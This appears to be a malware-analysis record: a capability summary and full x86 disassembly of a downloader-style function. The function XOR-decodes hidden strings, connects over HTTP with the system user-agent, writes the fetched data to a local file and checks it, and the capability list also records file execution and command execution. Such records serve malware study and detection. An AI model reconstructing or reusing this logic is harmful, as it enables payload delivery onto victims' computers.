Function at 0x402980
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4096e0
mov eax, dword fs:[0]
push eax
sub esp, 0x328
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, 0xf
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
lea eax, [ebp - 0x238]
push eax
lea edx, [ebp - 0x28c]
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 3
call fcn.004025c0
add esp, 4
mov ecx, 0x9d
xor eax, eax
mov dl, byte [eax + 0x40a574]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2a0], dl
jns 0x402a34
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x402a14
mov byte [ebp - 0x28f], bl
mov byte [ebp - 4], 4
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x240], 0xf
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402a63
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x2a0]
lea esi, [ebp - 0x254]
call fcn.00406dd0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x254]
xor eax, eax
mov esi, 0x10
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov word [ebp - 0x290], ax
cmp dword [ebp - 0x240], esi
jae 0x402abd
lea edx, [ebp - 0x254]
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x402ad1
lea ecx, [ebp - 0x238]
call fcn.00402840
mov cl, 0x65
mov dword [ebp - 0x21c], 0x746e656d
mov word [ebp - 0x218], 0x6e65
mov byte [ebp - 0x216], bl
lea edi, [ebp - 0x21c]
mov eax, 0x410078
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x402b20
cmp cl, bl
je 0x402b1c
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x402b20
add eax, 2
add edi, 2
cmp cl, bl
jne 0x402b00
xor eax, eax
jmp 0x402b25
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
cmp eax, ebx
sete cl
cmp ecx, ebx
sete al
cmp al, bl
je 0x403128
lea edx, [ebp - 0x2c4]
push edx
lea eax, [ebp - 0x214]
push eax
push ebx
mov dword [ebp - 0x2c4], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
push 0x40a588
lea ecx, [ebp - 0x21c]
push 5
push ecx
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push ebx
push ebx
push ebx
push 1
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x2c0], eax
cmp eax, ebx
jne 0x402ca4
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Internet_Eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x240], esi
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x402c03
mov eax, dword [ebp - 0x254]
push eax
call esi
add esp, 4
cmp dword [ebp - 0x278], 0x10
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
jb 0x402c2f
mov ecx, dword [ebp - 0x28c]
push ecx
call esi
add esp, 4
cmp dword [ebp - 0x25c], 0x10
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
jb 0x402c56
mov edx, dword [ebp - 0x270]
push edx
call esi
add esp, 4
cmp dword [ebp - 0x224], 0x10
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
jb 0x402c7d
mov eax, dword [ebp - 0x238]
push eax
call esi
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
jb 0x4032ee
mov ecx, dword [ebp + 8]
push ecx
call esi
jmp 0x4032eb
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x402cb8
lea ecx, [ebp - 0x238]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x2c8], eax
cmp eax, ebx
jne 0x402deb
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
push str.Konek_Eror
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x240], esi
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x402d4a
mov edx, dword [ebp - 0x254]
push edx
call esi
add esp, 4
cmp dword [ebp - 0x278], 0x10
mov edi, 0xf
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], edi
jb 0x402d76
mov eax, dword [ebp - 0x28c]
push eax
call esi
add esp, 4
cmp dword [ebp - 0x25c], 0x10
mov byte [ebp - 0x28c], bl
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], edi
jb 0x402d9d
mov ecx, dword [ebp - 0x270]
push ecx
call esi
add esp, 4
cmp dword [ebp - 0x224], 0x10
mov byte [ebp - 0x270], bl
mov dword [ebp - 0x260], ebx
mov dword [ebp - 0x25c], edi
jb 0x402dc4
mov edx, dword [ebp - 0x238]
push edx
call esi
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
jb 0x4032ee
mov eax, dword [ebp + 8]
push eax
call esi
jmp 0x4032eb
mov ecx, dword [ebp - 0x270]
cmp dword [ebp - 0x25c], esi
jae 0x402dff
lea ecx, [ebp - 0x270]
push ebx
push 0x8404f700
push ebx
push ebx
push str.HTTP_1.1
push ecx
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
jne 0x402e5b
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
push str.Request_Eror
jmp 0x402d0b
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x1c], esi
jae 0x402e71
lea eax, [ebp + 8]
push 0x40a54c
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x402f1d
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.open_File_Eror
push eax
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
lea esi, [ebp - 0x254]
call fcn.00404c60
lea esi, [ebp - 0x28c]
call fcn.00404c60
lea esi, [ebp - 0x270]
call fcn.00404c60
lea esi, [ebp - 0x238]
call fcn.00404c60
lea esi, [ebp + 8]
call fcn.00404c60
jmp 0x4032ee
lea ecx, [ebp - 0x2bc]
push ecx
push 0x32
lea edx, [ebp - 0x334]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402f7d
jmp 0x402f40
mov eax, dword [ebp - 0x2bc]
push esi
cmp eax, ebx
je 0x402fe3
push eax
lea eax, [ebp - 0x334]
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea ecx, [ebp - 0x2bc]
push ecx
push 0x32
lea edx, [ebp - 0x334]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402f40
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.read_eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
jmp 0x402ee1
call dword [sym.imp.MSVCR100.dll_fflush]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
mov eax, dword [ebp - 0x2c8]
push eax
call esi
mov ecx, dword [ebp - 0x2c0]
push ecx
call esi
lea edx, [ebp + 8]
push edx
call fcn.00402370
add esp, 4
cmp al, 1
jne 0x4030ea
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x2c0], esp
call fcn.00404bf0
call fcn.004024f0
add esp, 0x1c
cmp eax, 0x1388
jle 0x403093
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xb
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea esi, [ebp - 0x254]
call fcn.00404c60
lea esi, [ebp - 0x28c]
call fcn.00404c60
lea esi, [ebp - 0x270]
call fcn.00404c60
lea esi, [ebp - 0x238]
call fcn.00404c60
lea esi, [ebp + 8]
call fcn.00404c60
mov al, 1
jmp 0x4032f0
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, str.kp__xlpR
sub ecx, 0x14315210
lea eax, [ebp - 0x298]
call fcn.004075d0
mov byte [ebp - 4], 7
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push eax
push edx
jmp 0x402ec6
call fcn.00401ec0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 0x4d9a8178
lea esi, [ebp - 0x2a0]
call fcn.00407650
mov byte [ebp - 4], 8
jmp 0x4030d5
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x2bc], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [ebp - 0x2b8]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x2b6]
movsx eax, word [ebp - 0x2b8]
mov edx, dword [ebp - 0x2bc]
imul edi, eax
lea ecx, [ebp - 0x2c0]
push ecx
push edx
push edi
push 0x20
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov ecx, dword [ebp - 0x2bc]
mov edx, dword [ebp - 0x2b0]
lea eax, [ebp - 0x2c0]
push eax
push ecx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov eax, dword [ebp - 0x2bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, 0x21
xor eax, eax
mov dl, byte [eax + str.lCJJQCIIGIN_f_f]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x29c], dl
jns 0x4031e7
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4031c7
mov byte [ebp - 0x28f], bl
mov byte [ebp - 4], 9
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push ecx
lea ecx, [ebp - 0x29c]
push ecx
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
mov esi, 0x10
add esp, 4
cmp dword [ebp - 0x240], esi
jb 0x403247
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
cmp dword [ebp - 0x278], esi
jb 0x403276
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
cmp dword [ebp - 0x25c], esi
jb 0x4032a0
mov edx, dword [ebp - 0x270]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
cmp dword [ebp - 0x224], esi
jb 0x4032ca
mov eax, dword [ebp - 0x238]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
cmp dword [ebp + 0x1c], esi
jb 0x4032ee
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004085a0
mov esp, ebp
pop ebp
ret